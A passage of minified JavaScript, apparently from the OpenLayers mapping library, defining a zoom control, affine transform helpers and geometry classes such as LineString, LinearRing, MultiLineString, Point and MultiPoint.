Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ti=function(t){function e(e){var i=this,n=e||{};i=t.call(this,{element:document.createElement("div"),target:n.target})||this;var o=void 0!==n.className?n.className:"ol-zoom",r=void 0!==n.delta?n.delta:1,s=void 0!==n.zoomInClassName?n.zoomInClassName:o+"-in",a=void 0!==n.zoomOutClassName?n.zoomOutClassName:o+"-out",l=void 0!==n.zoomInLabel?n.zoomInLabel:"+",h=void 0!==n.zoomOutLabel?n.zoomOutLabel:"–",u=void 0!==n.zoomInTipLabel?n.zoomInTipLabel:"Zoom in",c=void 0!==n.zoomOutTipLabel?n.zoomOutTipLabel:"Zoom out",p=document.createElement("button");p.className=s,p.setAttribute("type","button"),p.title=u,p.appendChild("string"==typeof l?document.createTextNode(l):l),p.addEventListener(w,i.handleClick_.bind(i,r),!1);var f=document.createElement("button");f.className=a,f.setAttribute("type","button"),f.title=c,f.appendChild("string"==typeof h?document.createTextNode(h):h),f.addEventListener(w,i.handleClick_.bind(i,-r),!1);var d=o+" "+nt+" "+ot,g=i.element;return g.className=d,g.appendChild(p),g.appendChild(f),i.duration_=void 0!==n.duration?n.duration:250,i}return Ei(e,t),e.prototype.handleClick_=function(t,e){e.preventDefault(),this.zoomByDelta_(t)},e.prototype.zoomByDelta_=function(t){var e=this.getMap().getView();if(e){var i=e.getZoom();if(void 0!==i){var n=e.getConstrainedZoom(i+t);this.duration_>0?(e.getAnimating()&&e.cancelAnimations(),e.animate({zoom:n,duration:this.duration_,easing:xi})):e.setZoom(n)}}},e}(et),bi="XY",Oi="XYM",Ri="XYZM";function Pi(t,e){var i=e[0],n=e[1];return e[0]=t[0]*i+t[2]*n+t[4],e[1]=t[1]*i+t[3]*n+t[5],e}function Ii(t,e,i,n,o,r,s,a){var l=Math.sin(r),h=Math.cos(r);return t[0]=n*h,t[1]=o*l,t[2]=-n*l,t[3]=o*h,t[4]=s*n*h-a*n*l+e,t[5]=s*o*l+a*o*h+i,t}function Mi(t,e){var i,n=(i=e)[0]*i[3]-i[1]*i[2];xt(0!==n,32);var o=e[0],r=e[1],s=e[2],a=e[3],l=e[4],h=e[5];return t[0]=a/n,t[1]=-r/n,t[2]=-s/n,t[3]=o/n,t[4]=(s*h-a*l)/n,t[5]=-(o*h-r*l)/n,t}function Fi(t){var e="matrix("+t.join(", ")+")";if(V)return e;var i=Si||(Si=document.createElement("div"));return i.style.transform=e,i.style.transform}function Li(t,e,i,n,o,r){for(var s=r||[],a=0,l=e;l<i;l+=n){var h=t[l],u=t[l+1];s[a++]=o[0]*h+o[2]*u+o[4],s[a++]=o[1]*h+o[3]*u+o[5]}return r&&s.length!=a&&(s.length=a),s}function Ai(t,e,i,n,o,r,s){for(var a=s||[],l=Math.cos(o),h=Math.sin(o),u=r[0],c=r[1],p=0,f=e;f<i;f+=n){var d=t[f]-u,g=t[f+1]-c;a[p++]=u+d*l-g*h,a[p++]=c+d*h+g*l;for(var _=f+2;_<f+n;++_)a[p++]=t[_]}return s&&a.length!=p&&(a.length=p),a}new Array(6);var Di=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),ki=[1,0,0,1,0,0],ji=function(t){function e(){var e,i,n,o,r,s=t.call(this)||this;return s.extent_=[1/0,1/0,-1/0,-1/0],s.extentRevision_=-1,s.simplifiedGeometryMaxMinSquaredTolerance=0,s.simplifiedGeometryRevision=0,s.simplifyTransformedInternal=(e=function(t,e,i){if(!i)return this.getSimplifiedGeometry(e);var n=this.clone();return n.applyTransform(i),n.getSimplifiedGeometry(e)},r=!1,function(){var t=Array.prototype.slice.call(arguments);return r&&this===o&&h(t,n)||(r=!0,o=this,n=t,i=e.apply(this,arguments)),i}),s}return Di(e,t),e.prototype.simplifyTransformed=function(t,e){return this.simplifyTransformedInternal(this.getRevision(),t,e)},e.prototype.clone=function(){return L()},e.prototype.closestPointXY=function(t,e,i,n){return L()},e.prototype.containsXY=function(t,e){var i=this.getClosestPoint([t,e]);return i[0]===t&&i[1]===e},e.prototype.getClosestPoint=function(t,e){var i=e||[NaN,NaN];return this.closestPointXY(t[0],t[1],i,1/0),i},e.prototype.intersectsCoordinate=function(t){return this.containsXY(t[0],t[1])},e.prototype.computeExtent=function(t){return L()},e.prototype.getExtent=function(t){if(this.extentRevision_!=this.getRevision()){var e=this.computeExtent(this.extent_);(isNaN(e[0])||isNaN(e[1]))&&ve(e),this.extentRevision_=this.getRevision()}return function(t,e){return e?(e[0]=t[0],e[1]=t[1],e[2]=t[2],e[3]=t[3],e):t}(this.extent_,t)},e.prototype.rotate=function(t,e){L()},e.prototype.scale=function(t,e,i){L()},e.prototype.simplify=function(t){return this.getSimplifiedGeometry(t*t)},e.prototype.getSimplifiedGeometry=function(t){return L()},e.prototype.getType=function(){return L()},e.prototype.applyTransform=function(t){L()},e.prototype.intersectsExtent=function(t){return L()},e.prototype.translate=function(t,e){L()},e.prototype.transform=function(t,e){var i=He(t),n=i.getUnits()==Kt.TILE_PIXELS?function(t,n,o){var r=i.getExtent(),s=i.getWorldExtent(),a=Fe(s)/Fe(r);return Ii(ki,s[0],s[3],a,-a,0,0,0),Li(t,0,t.length,o,ki,n),ei(i,e)(t,n,o)}:ei(i,e);return this.applyTransform(n),this},e}(G),Gi=ji,zi=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Wi=function(t){function e(){var e=t.call(this)||this;return e.layout=bi,e.stride=2,e.flatCoordinates=null,e}return zi(e,t),e.prototype.computeExtent=function(t){return me(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,t)},e.prototype.getCoordinates=function(){return L()},e.prototype.getFirstCoordinate=function(){return this.flatCoordinates.slice(0,this.stride)},e.prototype.getFlatCoordinates=function(){return this.flatCoordinates},e.prototype.getLastCoordinate=function(){return this.flatCoordinates.slice(this.flatCoordinates.length-this.stride)},e.prototype.getLayout=function(){return this.layout},e.prototype.getSimplifiedGeometry=function(t){if(this.simplifiedGeometryRevision!==this.getRevision()&&(this.simplifiedGeometryMaxMinSquaredTolerance=0,this.simplifiedGeometryRevision=this.getRevision()),t<0||0!==this.simplifiedGeometryMaxMinSquaredTolerance&&t<=this.simplifiedGeometryMaxMinSquaredTolerance)return this;var e=this.getSimplifiedGeometryInternal(t);return e.getFlatCoordinates().length<this.flatCoordinates.length?e:(this.simplifiedGeometryMaxMinSquaredTolerance=t,this)},e.prototype.getSimplifiedGeometryInternal=function(t){return this},e.prototype.getStride=function(){return this.stride},e.prototype.setFlatCoordinates=function(t,e){this.stride=Xi(t),this.layout=t,this.flatCoordinates=e},e.prototype.setCoordinates=function(t,e){L()},e.prototype.setLayout=function(t,e,i){var n;if(t)n=Xi(t);else{for(var o=0;o<i;++o){if(0===e.length)return this.layout=bi,void(this.stride=2);e=e[0]}t=function(t){var e;return 2==t?e=bi:3==t?e="XYZ":4==t&&(e=Ri),e}(n=e.length)}this.layout=t,this.stride=n},e.prototype.applyTransform=function(t){this.flatCoordinates&&(t(this.flatCoordinates,this.flatCoordinates,this.stride),this.changed())},e.prototype.rotate=function(t,e){var i=this.getFlatCoordinates();if(i){var n=this.getStride();Ai(i,0,i.length,n,t,e,i),this.changed()}},e.prototype.scale=function(t,e,i){var n=e;void 0===n&&(n=t);var o=i;o||(o=Re(this.getExtent()));var r=this.getFlatCoordinates();if(r){var s=this.getStride();!function(t,e,i,n,o,r,s,a){for(var l=a||[],h=s[0],u=s[1],c=0,p=0;p<i;p+=n){var f=t[p]-h,d=t[p+1]-u;l[c++]=h+o*f,l[c++]=u+r*d;for(var g=p+2;g<p+n;++g)l[c++]=t[g]}a&&l.length!=c&&(l.length=c)}(r,0,r.length,s,t,n,o,r),this.changed()}},e.prototype.translate=function(t,e){var i=this.getFlatCoordinates();if(i){var n=this.getStride();!function(t,e,i,n,o,r,s){for(var a=s||[],l=0,h=0;h<i;h+=n){a[l++]=t[h]+o,a[l++]=t[h+1]+r;for(var u=h+2;u<h+n;++u)a[l++]=t[u]}s&&a.length!=l&&(a.length=l)}(i,0,i.length,n,t,e,i),this.changed()}},e}(Gi);function Xi(t){var e;return t==bi?e=2:"XYZ"==t||t==Oi?e=3:t==Ri&&(e=4),e}var Ni=Wi;function Yi(t,e,i,n,o,r,s){var a,l=t[e],h=t[e+1],u=t[i]-l,c=t[i+1]-h;if(0===u&&0===c)a=e;else{var p=((o-l)*u+(r-h)*c)/(u*u+c*c);if(p>1)a=i;else{if(p>0){for(var f=0;f<n;++f)s[f]=Rt(t[e+f],t[i+f],p);return void(s.length=n)}a=e}}for(f=0;f<n;++f)s[f]=t[a+f];s.length=n}function Bi(t,e,i,n,o){var r=t[e],s=t[e+1];for(e+=n;e<i;e+=n){var a=t[e],l=t[e+1],h=Tt(r,s,a,l);h>o&&(o=h),r=a,s=l}return o}function Ki(t,e,i,n,o){for(var r=0,s=i.length;r<s;++r){var a=i[r];o=Bi(t,e,a,n,o),e=a}return o}function Zi(t,e,i,n,o,r,s,a,l,h,u){if(e==i)return h;var c,p;if(0===o){if((p=Tt(s,a,t[e],t[e+1]))<h){for(c=0;c<n;++c)l[c]=t[e+c];return l.length=n,p}return h}for(var f=u||[NaN,NaN],d=e+n;d<i;)if(Yi(t,d-n,d,n,s,a,f),(p=Tt(s,a,f[0],f[1]))<h){for(h=p,c=0;c<n;++c)l[c]=f[c];l.length=n,d+=n}else d+=n*Math.max((Math.sqrt(p)-Math.sqrt(h))/o|0,1);if(r&&(Yi(t,i-n,e,n,s,a,f),(p=Tt(s,a,f[0],f[1]))<h)){for(h=p,c=0;c<n;++c)l[c]=f[c];l.length=n}return h}function Vi(t,e,i,n,o,r,s,a,l,h,u){for(var c=u||[NaN,NaN],p=0,f=i.length;p<f;++p){var d=i[p];h=Zi(t,e,d,n,o,r,s,a,l,h,c),e=d}return h}function Ui(t,e,i,n){for(var o=0,r=i.length;o<r;++o)for(var s=i[o],a=0;a<n;++a)t[e++]=s[a];return e}function Hi(t,e,i,n,o){for(var r=o||[],s=0,a=0,l=i.length;a<l;++a){var h=Ui(t,e,i[a],n);r[s++]=h,e=h}return r.length=s,r}function qi(t,e,i,n,o,r,s){var a=(i-e)/n;if(a<3){for(;e<i;e+=n)r[s++]=t[e],r[s++]=t[e+1];return s}var l=new Array(a);l[0]=1,l[a-1]=1;for(var h=[e,i-n],u=0;h.length>0;){for(var c=h.pop(),p=h.pop(),f=0,d=t[p],g=t[p+1],_=t[c],y=t[c+1],v=p+n;v<c;v+=n){var m=Et(t[v],t[v+1],d,g,_,y);m>f&&(u=v,f=m)}f>o&&(l[(u-e)/n]=1,p+n<u&&h.push(p,u),u+n<c&&h.push(u,c))}for(v=0;v<a;++v)l[v]&&(r[s++]=t[e+v*n],r[s++]=t[e+v*n+1]);return s}function Ji(t,e){return e*Math.round(t/e)}function Qi(t,e,i,n,o,r,s){if(e==i)return s;var a,l,h=Ji(t[e],o),u=Ji(t[e+1],o);e+=n,r[s++]=h,r[s++]=u;do{if(a=Ji(t[e],o),l=Ji(t[e+1],o),(e+=n)==i)return r[s++]=a,r[s++]=l,s}while(a==h&&l==u);for(;e<i;){var c=Ji(t[e],o),p=Ji(t[e+1],o);if(e+=n,c!=a||p!=l){var f=a-h,d=l-u,g=c-h,_=p-u;f*_==d*g&&(f<0&&g<f||f==g||f>0&&g>f)&&(d<0&&_<d||d==_||d>0&&_>d)?(a=c,l=p):(r[s++]=a,r[s++]=l,h=a,u=l,a=c,l=p)}}return r[s++]=a,r[s++]=l,s}function $i(t,e,i,n,o,r,s,a){for(var l=0,h=i.length;l<h;++l){var u=i[l];s=Qi(t,e,u,n,o,r,s),a.push(s),e=u}return s}function tn(t,e,i,n,o){var r;for(e+=n;e<i;e+=n)if(r=o(t.slice(e-n,e),t.slice(e,e+n)))return r;return!1}function en(t,e,i,n,o){for(var r=void 0!==o?o:[],s=0,a=e;a<i;a+=n)r[s++]=t.slice(a,a+n);return r.length=s,r}function nn(t,e,i,n,o){for(var r=void 0!==o?o:[],s=0,a=0,l=i.length;a<l;++a){var h=i[a];r[s++]=en(t,e,h,n,r[s]),e=h}return r.length=s,r}function on(t,e,i,n,o){for(var r=void 0!==o?o:[],s=0,a=0,l=i.length;a<l;++a){var h=i[a];r[s++]=nn(t,e,h,n,r[s]),e=h[h.length-1]}return r.length=s,r}function rn(t,e,i,n,o,s,a){var l,h,u=(i-e)/n;if(1===u)l=e;else if(2===u)l=e,h=o;else if(0!==u){for(var c=t[e],p=t[e+1],f=0,d=[0],g=e+n;g<i;g+=n){var _=t[g],y=t[g+1];f+=Math.sqrt((_-c)*(_-c)+(y-p)*(y-p)),d.push(f),c=_,p=y}var v=o*f,m=function(t,e,i){for(var n,o,s=r,a=0,l=t.length,h=!1;a<l;)(o=+s(t[n=a+(l-a>>1)],e))<0?a=n+1:(l=n,h=!o);return h?a:~a}(d,v);m<0?(h=(v-d[-m-2])/(d[-m-1]-d[-m-2]),l=e+(-m-2)*n):l=e+m*n}var x=a>1?a:2,C=s||new Array(x);for(g=0;g<x;++g)C[g]=void 0===l?NaN:void 0===h?t[l+g]:Rt(t[l+g],t[l+n+g],h);return C}function sn(t,e,i,n,o,r){if(i==e)return null;var s;if(o<t[e+n-1])return r?((s=t.slice(e,e+n))[n-1]=o,s):null;if(t[i-1]<o)return r?((s=t.slice(i-n,i))[n-1]=o,s):null;if(o==t[e+n-1])return t.slice(e,e+n);for(var a=e/n,l=i/n;a<l;){var h=a+l>>1;o<t[(h+1)*n-1]?l=h:a=h+1}var u=t[a*n-1];if(o==u)return t.slice((a-1)*n,(a-1)*n+n);var c=(o-u)/(t[(a+1)*n-1]-u);s=[];for(var p=0;p<n-1;++p)s.push(Rt(t[(a-1)*n+p],t[a*n+p],c));return s.push(o),s}function an(t,e,i,n,o){return!Ee(o,(function(o){return!ln(t,e,i,n,o[0],o[1])}))}function ln(t,e,i,n,o,r){for(var s=0,a=t[i-n],l=t[i-n+1];e<i;e+=n){var h=t[e],u=t[e+1];l<=r?u>r&&(h-a)*(r-l)-(o-a)*(u-l)>0&&s++:u<=r&&(h-a)*(r-l)-(o-a)*(u-l)<0&&s--,a=h,l=u}return 0!==s}function hn(t,e,i,n,o,r){if(0===i.length)return!1;if(!ln(t,e,i[0],n,o,r))return!1;for(var s=1,a=i.length;s<a;++s)if(ln(t,i[s-1],i[s],n,o,r))return!1;return!0}function un(t,e,i,n,o){var r=we([1/0,1/0,-1/0,-1/0],t,e,i,n);return!!je(o,r)&&(!!de(o,r)||r[0]>=o[0]&&r[2]<=o[2]||r[1]>=o[1]&&r[3]<=o[3]||tn(t,e,i,n,(function(t,e){return function(t,e,i){var n=!1,o=_e(t,e),r=_e(t,i);if(1===o||1===r)n=!0;else{var s=t[0],a=t[1],l=t[2],h=t[3],u=e[0],c=e[1],p=i[0],f=i[1],d=(f-c)/(p-u),g=void 0,_=void 0;2&r&&!(2&o)&&(n=(g=p-(f-h)/d)>=s&&g<=l),n||!(4&r)||4&o||(n=(_=f-(p-l)*d)>=a&&_<=h),n||!(8&r)||8&o||(n=(g=p-(f-a)/d)>=s&&g<=l),n||!(16&r)||16&o||(n=(_=f-(p-s)*d)>=a&&_<=h)}return n}(o,t,e)})))}function cn(t,e,i,n,o){return!!(un(t,e,i,n,o)||ln(t,e,i,n,o[0],o[1])||ln(t,e,i,n,o[0],o[3])||ln(t,e,i,n,o[2],o[1])||ln(t,e,i,n,o[2],o[3]))}function pn(t,e,i,n,o){if(!cn(t,e,i[0],n,o))return!1;if(1===i.length)return!0;for(var r=1,s=i.length;r<s;++r)if(an(t,i[r-1],i[r],n,o)&&!un(t,i[r-1],i[r],n,o))return!1;return!0}function fn(t,e,i,n){for(var o=t[e],r=t[e+1],s=0,a=e+n;a<i;a+=n){var l=t[a],h=t[a+1];s+=Math.sqrt((l-o)*(l-o)+(h-r)*(h-r)),o=l,r=h}return s}var dn=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),gn=function(t){function e(e,i){var n=t.call(this)||this;return n.flatMidpoint_=null,n.flatMidpointRevision_=-1,n.maxDelta_=-1,n.maxDeltaRevision_=-1,void 0===i||Array.isArray(e[0])?n.setCoordinates(e,i):n.setFlatCoordinates(i,e),n}return dn(e,t),e.prototype.appendCoordinate=function(t){this.flatCoordinates?l(this.flatCoordinates,t):this.flatCoordinates=t.slice(),this.changed()},e.prototype.clone=function(){var t=new e(this.flatCoordinates.slice(),this.layout);return t.applyProperties(this),t},e.prototype.closestPointXY=function(t,e,i,n){return n<pe(this.getExtent(),t,e)?n:(this.maxDeltaRevision_!=this.getRevision()&&(this.maxDelta_=Math.sqrt(Bi(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,0)),this.maxDeltaRevision_=this.getRevision()),Zi(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,this.maxDelta_,!1,t,e,i,n))},e.prototype.forEachSegment=function(t){return tn(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,t)},e.prototype.getCoordinateAtM=function(t,e){if(this.layout!=Oi&&this.layout!=Ri)return null;var i=void 0!==e&&e;return sn(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,t,i)},e.prototype.getCoordinates=function(){return en(this.flatCoordinates,0,this.flatCoordinates.length,this.stride)},e.prototype.getCoordinateAt=function(t,e){return rn(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,t,e,this.stride)},e.prototype.getLength=function(){return fn(this.flatCoordinates,0,this.flatCoordinates.length,this.stride)},e.prototype.getFlatMidpoint=function(){return this.flatMidpointRevision_!=this.getRevision()&&(this.flatMidpoint_=this.getCoordinateAt(.5,this.flatMidpoint_),this.flatMidpointRevision_=this.getRevision()),this.flatMidpoint_},e.prototype.getSimplifiedGeometryInternal=function(t){var i=[];return i.length=qi(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,t,i,0),new e(i,bi)},e.prototype.getType=function(){return"LineString"},e.prototype.intersectsExtent=function(t){return un(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,t)},e.prototype.setCoordinates=function(t,e){this.setLayout(e,t,1),this.flatCoordinates||(this.flatCoordinates=[]),this.flatCoordinates.length=Ui(this.flatCoordinates,0,t,this.stride),this.changed()},e}(Ni),_n=gn;function yn(t,e,i,n){for(var o=0,r=t[i-n],s=t[i-n+1];e<i;e+=n){var a=t[e],l=t[e+1];o+=s*a-r*l,r=a,s=l}return o/2}function vn(t,e,i,n){for(var o=0,r=0,s=i.length;r<s;++r){var a=i[r];o+=yn(t,e,a,n),e=a}return o}var mn=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),xn=function(t){function e(e,i){var n=t.call(this)||this;return n.maxDelta_=-1,n.maxDeltaRevision_=-1,void 0===i||Array.isArray(e[0])?n.setCoordinates(e,i):n.setFlatCoordinates(i,e),n}return mn(e,t),e.prototype.clone=function(){return new e(this.flatCoordinates.slice(),this.layout)},e.prototype.closestPointXY=function(t,e,i,n){return n<pe(this.getExtent(),t,e)?n:(this.maxDeltaRevision_!=this.getRevision()&&(this.maxDelta_=Math.sqrt(Bi(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,0)),this.maxDeltaRevision_=this.getRevision()),Zi(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,this.maxDelta_,!0,t,e,i,n))},e.prototype.getArea=function(){return yn(this.flatCoordinates,0,this.flatCoordinates.length,this.stride)},e.prototype.getCoordinates=function(){return en(this.flatCoordinates,0,this.flatCoordinates.length,this.stride)},e.prototype.getSimplifiedGeometryInternal=function(t){var i=[];return i.length=qi(this.flatCoordinates,0,this.flatCoordinates.length,this.stride,t,i,0),new e(i,bi)},e.prototype.getType=function(){return"LinearRing"},e.prototype.intersectsExtent=function(t){return!1},e.prototype.setCoordinates=function(t,e){this.setLayout(e,t,1),this.flatCoordinates||(this.flatCoordinates=[]),this.flatCoordinates.length=Ui(this.flatCoordinates,0,t,this.stride),this.changed()},e}(Ni),Cn=xn,wn=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Sn=function(t){function e(e,i,n){var o=t.call(this)||this;if(o.ends_=[],o.maxDelta_=-1,o.maxDeltaRevision_=-1,Array.isArray(e[0]))o.setCoordinates(e,i);else if(void 0!==i&&n)o.setFlatCoordinates(i,e),o.ends_=n;else{for(var r=o.getLayout(),s=e,a=[],h=[],u=0,c=s.length;u<c;++u){var p=s[u];0===u&&(r=p.getLayout()),l(a,p.getFlatCoordinates()),h.push(a.length)}o.setFlatCoordinates(r,a),o.ends_=h}return o}return wn(e,t),e.prototype.appendLineString=function(t){this.flatCoordinates?l(this.flatCoordinates,t.getFlatCoordinates().slice()):this.flatCoordinates=t.getFlatCoordinates().slice(),this.ends_.push(this.flatCoordinates.length),this.changed()},e.prototype.clone=function(){var t=new e(this.flatCoordinates.slice(),this.layout,this.ends_.slice());return t.applyProperties(this),t},e.prototype.closestPointXY=function(t,e,i,n){return n<pe(this.getExtent(),t,e)?n:(this.maxDeltaRevision_!=this.getRevision()&&(this.maxDelta_=Math.sqrt(Ki(this.flatCoordinates,0,this.ends_,this.stride,0)),this.maxDeltaRevision_=this.getRevision()),Vi(this.flatCoordinates,0,this.ends_,this.stride,this.maxDelta_,!1,t,e,i,n))},e.prototype.getCoordinateAtM=function(t,e,i){if(this.layout!=Oi&&this.layout!=Ri||0===this.flatCoordinates.length)return null;var n=void 0!==e&&e,o=void 0!==i&&i;return function(t,e,i,n,o,r,s){if(s)return sn(t,e,i[i.length-1],n,o,r);var a;if(o<t[n-1])return r?((a=t.slice(0,n))[n-1]=o,a):null;if(t[t.length-1]<o)return r?((a=t.slice(t.length-n))[n-1]=o,a):null;for(var l=0,h=i.length;l<h;++l){var u=i[l];if(e!=u){if(o<t[e+n-1])return null;if(o<=t[u-1])return sn(t,e,u,n,o,!1);e=u}}return null}(this.flatCoordinates,0,this.ends_,this.stride,t,n,o)},e.prototype.getCoordinates=function(){return nn(this.flatCoordinates,0,this.ends_,this.stride)},e.prototype.getEnds=function(){return this.ends_},e.prototype.getLineString=function(t){return t<0||this.ends_.length<=t?null:new _n(this.flatCoordinates.slice(0===t?0:this.ends_[t-1],this.ends_[t]),this.layout)},e.prototype.getLineStrings=function(){for(var t=this.flatCoordinates,e=this.ends_,i=this.layout,n=[],o=0,r=0,s=e.length;r<s;++r){var a=e[r],l=new _n(t.slice(o,a),i);n.push(l),o=a}return n},e.prototype.getFlatMidpoints=function(){for(var t=[],e=this.flatCoordinates,i=0,n=this.ends_,o=this.stride,r=0,s=n.length;r<s;++r){var a=n[r];l(t,rn(e,i,a,o,.5)),i=a}return t},e.prototype.getSimplifiedGeometryInternal=function(t){var i=[],n=[];return i.length=function(t,e,i,n,o,r,s,a){for(var l=0,h=i.length;l<h;++l){var u=i[l];s=qi(t,e,u,n,o,r,s),a.push(s),e=u}return s}(this.flatCoordinates,0,this.ends_,this.stride,t,i,0,n),new e(i,bi,n)},e.prototype.getType=function(){return"MultiLineString"},e.prototype.intersectsExtent=function(t){return function(t,e,i,n,o){for(var r=0,s=i.length;r<s;++r){if(un(t,e,i[r],n,o))return!0;e=i[r]}return!1}(this.flatCoordinates,0,this.ends_,this.stride,t)},e.prototype.setCoordinates=function(t,e){this.setLayout(e,t,2),this.flatCoordinates||(this.flatCoordinates=[]);var i=Hi(this.flatCoordinates,0,t,this.stride,this.ends_);this.flatCoordinates.length=0===i.length?0:i[i.length-1],this.changed()},e}(Ni),En=Sn,Tn=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),bn=function(t){function e(e,i){var n=t.call(this)||this;return n.setCoordinates(e,i),n}return Tn(e,t),e.prototype.clone=function(){var t=new e(this.flatCoordinates.slice(),this.layout);return t.applyProperties(this),t},e.prototype.closestPointXY=function(t,e,i,n){var o=this.flatCoordinates,r=Tt(t,e,o[0],o[1]);if(r<n){for(var s=this.stride,a=0;a<s;++a)i[a]=o[a];return i.length=s,r}return n},e.prototype.getCoordinates=function(){return this.flatCoordinates?this.flatCoordinates.slice():[]},e.prototype.computeExtent=function(t){return i=t,ye(n=(e=this.flatCoordinates)[0],o=e[1],n,o,i);var e,i,n,o},e.prototype.getType=function(){return"Point"},e.prototype.intersectsExtent=function(t){return ge(t,this.flatCoordinates[0],this.flatCoordinates[1])},e.prototype.setCoordinates=function(t,e){this.setLayout(e,t,0),this.flatCoordinates||(this.flatCoordinates=[]),this.flatCoordinates.length=function(t,e,i,n){for(var o=0,r=i.length;o<r;++o)t[e++]=i[o];return e}(this.flatCoordinates,0,t,this.stride),this.changed()},e}(Ni),On=bn,Rn=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Pn=function(t){function e(e,i){var n=t.call(this)||this;return i&&!Array.isArray(e[0])?n.setFlatCoordinates(i,e):n.setCoordinates(e,i),n}return Rn(e,t),e.prototype.appendPoint=function(t){this.flatCoordinates?l(this.flatCoordinates,t.getFlatCoordinates()):this.flatCoordinates=t.getFlatCoordinates().slice(),this.changed()},e.prototype.clone=function(){var t=new e(this.flatCoordinates.slice(),this.layout);return t.applyProperties(this),t},e.prototype.closestPointXY=function(t,e,i,n){if(n<pe(this.getExtent(),t,e))return n;for(var o=this.flatCoordinates,r=this.stride,s=0,a=o.length;s<a;s+=r){var l=Tt(t,e,o[s],o[s+1]);if(l<n){n=l;for(var h=0;h<r;++h)i[h]=o[s+h];i.length=r}}return n},e.prototype.getCoordinates=function(){return en(this.flatCoordinates,0,this.flatCoordinates.length,this.stride)},e.prototype.getPoint=function(t){var e=this.flatCoordinates?this.flatCoordinates.length/this.stride:0;return t<0||e<=t?null:new On(this.flatCoordinates.slice(t*this.stride,(t+1)*this.stride),this.layout)},e.prototype.getPoints=function(){for(var t=this.flatCoordinates,e=this.layout,i=this.stride,n=[],o=0,r=t.length;o<r;o+=i){var s=new On(t.slice(o,o+i),e);n.push(s)}return n},e.prototype.getType=function(){return"MultiPoint"},e.prototype.intersectsExtent=function(t){for(var e=this.flatCoordinates,i=this.stride,n=0,o=e.length;n<o;n+=i)if(ge(t,e[n],e[n+1]))return!0;return!1},e.prototype.setCoordinates=function(t,e){this.setLayout(e,t,1),this.flatCoordinates||(this.flatCoordinates=[]),this.flatCoordinates.length=Ui(this.flatCoordinates,0,t,this.stride),this.changed()},e}(Ni),In=Pn;function Mn(t,e,i,n,o,s,a){for(var l,h,u,c,p,f,d,g=o[s+1],_=[],y=0,v=i.length;y<v;++y){var m=i[y];for(c=t[m-n],f=t[m-n+1],l=e;l<m;l+=n)p=t[l],d=t[l+1],(g<=f&&d<=g||f<=g&&g<=d)&&(u=(g-f)/(d-f)*(p-c)+c,_.push(u)),c=p,f=d}var x=NaN,C=-1/0;for(_.sort(r),c=_[0],l=1,h=_.length;l<h;++l){p=_[l];var w=Math.abs(p-c);w>C&&hn(t,e,i,n,u=(c+p)/2,g)&&(x=u,C=w),c=p}return 